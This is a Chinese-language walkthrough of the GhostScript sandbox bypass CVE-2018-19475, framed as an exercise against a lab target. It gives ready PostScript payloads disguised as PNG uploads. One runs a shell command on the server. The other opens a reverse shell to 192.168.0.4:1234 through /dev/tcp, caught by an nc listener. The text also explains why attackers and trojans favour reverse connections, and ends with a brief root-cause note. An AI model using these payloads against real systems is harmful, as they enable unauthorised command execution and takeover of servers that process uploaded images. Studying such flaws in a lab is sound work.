当前位置: 首页 > 工具软件 > Ghostscript > 使用案例 >

GhostScript 沙箱绕过命令执行漏洞

谈旺
2023-12-01


基础知识

GhostScript
GhostScript最初是以商业软件形式在PC市场上发售,当时名为“GoScript”。但由于速度太慢(半小时一版A4),销量极差。后来有心人买下了版权,并改在Linux上开发,成为了今日的Ghostscript。ghostscript如今已经从Linux版本移植到其他操作系统,如Unix、Mac
OS X、VMS、Windows、OS/2和Mac OS classic。

GhostScript可用作电脑印表机使用的栅格化影像处理器(RIP)。一般从用户常见文件如图片或者word到打印机经过这么几套工序,以word为例:
Doc文件 -> 中间文件(如pdf,以前是postscript)->打印机语言(如:PCL)->打印机
GhostScript可以将中间文件转化为适应各种打印机的打印机语言(或者叫光栅文件)。然后将该文件发送给打印机,打印机将光栅文件打印到纸张上,就是一次完整的打印过程。


提示:以下是本篇文章正文内容,下面案例可供参考

一、漏洞知识

1.漏洞描述

2018年底来自Semmle Security Research团队的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。

2.漏洞危害

【CVE-2018-19475】GhostScript 沙箱绕过命令执行漏洞评分7.8分,危害评级为高危。

通过利用该漏洞,攻击者可以绕过沙箱达到命令执行,控制服务器权限。

3.漏洞影响版本

ghostscript 9.26以前版本

二、漏洞利用

1.访问靶机

对目标靶机进行访问,发现上传点,新建文本文档,输入代码如下:

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file

将文件重命名为1.png
将文件通过上传点进行上传,执行结果:
新建success文件,将id这个命令写入到success文件中

三、反弹shell

1.为什么要反弹shell

当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 对方主机在局域网内,从外网无法直接访问。
  2. 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
  3. 对方的ip会动态改变,你不能持续控制。
  4. 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  5. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

开启终端,写入监听命令:

nc -lvp 1234

2.上传shell获取权限

新建文档,输入命令如下:

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%bash -c "bash -i >& /dev/tcp/192.168.0.4/1234 0>&1") (w) file

将文档改为2.png

bash -i代表在本地打开一个bash,/dev/tcp/是Linux中的一个特殊文件,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,以此建立交互式shell.

bash -c "cmd string"用于执行双引号中的cmd string
上传该文件后成功收到反弹shell


总结

当dorestore退出时,LockFilePermissions的值被设置为false

具体代码:

http://git.ghostscript.com/?
p=ghostpdl.git;a=blob;f=psi/zvmem.c;h=87a0a4ff1d68904995fd8e86ffb0e030c993f3f9;
hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l198

随后使用.setuserparams方法还原LockFilePermissions

具体代码:

http://git.ghostscript.com/?
p=ghostpdl.git;a=blob;f=Resource/Init/gs_lev2.ps;
h=44fe619566596ff88d3b69e5fb3d4715ef2e6e23;
hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l178

但是,在restore之后,.setuserparams方法执行之前,可能会抛出StackOverflowError栈溢出错误,不会重置“LockFilePermissions”。从而导致绕过-dSAFER选项,该选项允许在还原LockFilePermissions失败后执行shell命令。

参考链接:https://bugs.ghostscript.com/show_bug.cgi?id=700153

 类似资料: